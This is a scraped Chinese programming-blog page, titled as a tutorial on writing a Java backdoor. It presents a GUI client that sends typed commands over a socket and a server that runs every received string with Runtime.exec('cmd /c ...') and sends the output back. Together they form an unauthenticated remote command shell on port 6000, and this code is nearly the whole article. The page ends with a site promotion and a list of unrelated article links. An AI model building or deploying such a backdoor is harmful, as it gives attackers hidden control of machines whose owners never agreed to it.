C.java

客户端代码实现:

import java.io.*; import java.awt.*; import java.awt.event.*; import java.net.*; public class C extends Frame implements ActionListener{ Label label=new Label("指令"); Panel panel=new Panel(); TextField tf=new TextField(20); TextArea ta=new TextArea(); Socket client; InputStream in; OutputStream out; public C(){ super("客户机"); setSize(250,250); panel.add(label); panel.add(tf); tf.addActionListener(this); add("South",panel); add("Center",ta); addWindowListener(new WindowAdapter(){ //退出   public void windowClosing(WindowEvent e)    {     System.exit(0);    } }); show(); try{    client=new Socket(InetAddress.getLocalHost(),6000);//向6000端口发出客户请求   ta.append("服务器是:"+client.getInetAddress().getHostAddress()+"\n\n");    in=client.getInputStream();    out=client.getOutputStream(); }catch(IOException ioe){} while(true) {    try{     byte[]buf=new byte[256];     in.read(buf);     String str=new String(buf);     ta.append(str+"\n");    }    catch(IOException e){} } } public void actionPerformed(ActionEvent e){ try{    String str=tf.getText();    byte[]buf=str.getBytes();    tf.setText(null);    out.write(buf);    ta.append("\n指令:"+str+"\n");

}catch(IOException ioe){} }

public static void main(String[]args){ new C(); } }

S.JAVA

服务端代码实现:

import java.io.*; import java.net.*; import java.awt.*; import java.awt.event.*;

public class S extends Frame { ServerSocket server; Socket client; InputStream in; OutputStream out; public S() { super("服务器"); setSize(250,250);   addWindowListener(new WindowAdapter(){    public void windowClosing(WindowEvent e)    {     System.exit(0);    } }); show(); try{    server=new ServerSocket(6000);    client=server.accept();    in=client.getInputStream();    out=client.getOutputStream(); }catch(IOException ioe){} while(true){    try{ String Result=null;    byte[]buf=new byte[256];     in.read(buf);     String str=new String(buf);

Process p = Runtime.getRuntime().exec("cmd /c "+str);    BufferedReader br=new BufferedReader(new InputStreamReader(p.getInputStream()));    while((Result=br.readLine())!=null)    {    out.write(Result.getBytes());           }   }catch (IOException e){} } }

public static void main(String[]args) { new S(); } }

小编推荐:欲学习电脑技术、系统维护、网络管理、编程开发和安全攻防等高端IT技术,请 点击这里注册账号,公开课频道价值万元IT培训教程免费学,让您少走弯路、事半功倍,好工作升职加薪!

免责声明:本站系公益性非盈利IT技术普及网,本文由投稿者转载自互联网的公开文章,文末均已注明出处,其内容和图片版权归原网站或作者所有,文中所述不代表本站观点,若有无意侵权或转载不当之处请从网站右下角联系我们处理,谢谢合作!

Java写后门,JAVA简单编写后门程序相关推荐

  1. java 模拟电梯_请使用的Java的多线程知识来编写一个程序,实现一个简单的摩天大楼的电梯模型程序是以一座摩天大楼的多个电梯为背景,用线程、流程控制、随机函数等知识来模拟它。2、电梯的描述:...

    请使用的Java的多线程知识来编写一个程序,实现一个简单的摩天大楼的电梯模型 程序是以一座摩天大楼的多个电梯为背景,用线程.流程控制.随机函数等知识来模拟它. 2. 电梯的描述: 电梯是日常生活中经常 ...

  2. Fork and Join: Java也可以轻松地编写并发程序 原文地址 作者:Julien Ponge 译者:iDestiny 资源下载: Java SE 7 Sample Code(Zi

    Fork and Join: Java也可以轻松地编写并发程序 原文地址   作者:Julien Ponge 译者:iDestiny 资源下载: Java SE 7 Sample Code(Zip) ...

  3. JAVA同时输入用户名和密码_用java模拟设计一个简单的“用户注册”程序。当用户输入用户名和密码时,单击“注...

    用java模拟设计一个简单的"用户注册"程序.当用户输入用户名和密码时,单击"注 2020 - 9 - 26 TAG : 所有功能均已实现,如有不满意的地方我再修改imp ...

  4. java实验多线程机制_使用Java多线程的同步机制编写应用程序 PDF 下载

    使用Java多线程的同步机制编写应用程序 PDF 下载 本站整理下载: 相关截图: 主要内容: 一. 实验名称 使用Java多线程的同步机制编写应用程序 二. 实验目的及要求 1.理解并行/并发的概念 ...

  5. 用Java写的一个简单的扑克牌魔术

    一个用Java写了的简单的扑克牌魔术 一个用Java代码写的简单的扑克牌魔术,就是常见的在心里记一张牌,然后问你两次范围就知道答案,好像原理有点像二进制,小时候大人用这个魔术逗小孩开心,10几年了,原 ...

  6. 简单网络聊天程序java_基于Java实现hello/hi简单网络聊天程序

    Socket简要阐述 Socket的概念 Socket的英文原义是"孔"或"插座". 在网络编程中,网络上的两个程序通过一个双向的通信连接实现数据的交换,这个连 ...

  7. 自学java编译老是出错_编写HelloWorld程序编译时提示写入HelloWorld时出错是什么意思...

    编写HelloWorld程序编译时提示写入HelloWorld时出错是什么意思 这个能出错的地方就难说了,能给出代码或者错误提示吗 为什么javac编译后说写入错误呢HelloWorld.java : ...

  8. 用JAVA写一个最简单的飞翔的小鸟

    如果你想写一个最简单的飞翔的小鸟的 Java 程序,可以先了解 Java 的图形绘制功能.Java 提供了一个叫做 Graphics 的图形绘制类,可以用来绘制图形.填充颜色.画线等. 你可以通过创建 ...

  9. Java算法面试题:编写一个程序,将e:\neck目录下的所有.java文件复制到e:\jpg目录下,并将原来文件的扩展名从.java改为.jpg...

    package com.swift;import java.io.File; import java.io.FileFilter; import java.io.FileInputStream; im ...

  10. java实现:使用递归编写一个程序,逆序输出一个非负整数。例如输入1234,输出4321(不含前导0)。

    验证集:  输入>输出 123>321 120>21 2040>402 204000>402 直接给代码,注释应该够了. //使用递归编写一个程序,逆序输出一个非负整数. ...

最新文章

  1. [Unity3D]总结使用Unity 3D优化游戏运行性能的经验
  2. 爬虫的系统框架组成-控制器
  3. 设计模式复习-单例模式
  4. CTFshow 反序列化 web260
  5. Anaconda中安装pytorch,并在pycharm中配置【win10】
  6. 第三章 Matlab数组
  7. oracle 11.2 安装asm,oracle11r2安装asm+rac配置步骤.doc
  8. jMeter 里如何调用函数 function
  9. python 工具箱_Python交易工具箱:通过指标子图增强图表
  10. 关于 matlab 的 s 函数的 DirFeedthrough
  11. sqlmap md5怎么解密_UC浏览器代理流量解密
  12. Storm入门之第8章事务性拓扑
  13. 无法实现的梦想:孤独之旅计划
  14. 2014 计算机学科 排名,2014QS世界大学学科排名:计算机学科排行榜
  15. 详细理解script标签
  16. gdal 实现 热点分析 (Getis-Ord Gi*)
  17. 八、Echart图表 之 series盒须图(箱体图)基本使用与配置大全
  18. 阿里云-轻量应用服务器 jdk tomcat 的配置
  19. 【简易实用】源生js瀑布流示列
  20. IP-guard内网安全解决方案

热门文章

  1. COGS2259 异化多肽
  2. I2C Clock Stretch
  3. 扩散模型训练太难?来看看Meta AI最新提出的KNN-Diffusion
  4. catia圆角交点如何标注_Catia怎么使用凸台和倒圆角命令?
  5. 这里有美女!!!!抖音上很火的3D立体动态相册的实现(纯CSS)
  6. 老罗的悔改与锤子的落俗
  7. CDN加速的四大解决方案
  8. win10浏览器加载很慢_win10系统打开网页速度慢的排除原因及解决方法
  9. Processing鼠标键盘
  10. DAY8:尚学堂高琪JAVA(70~76)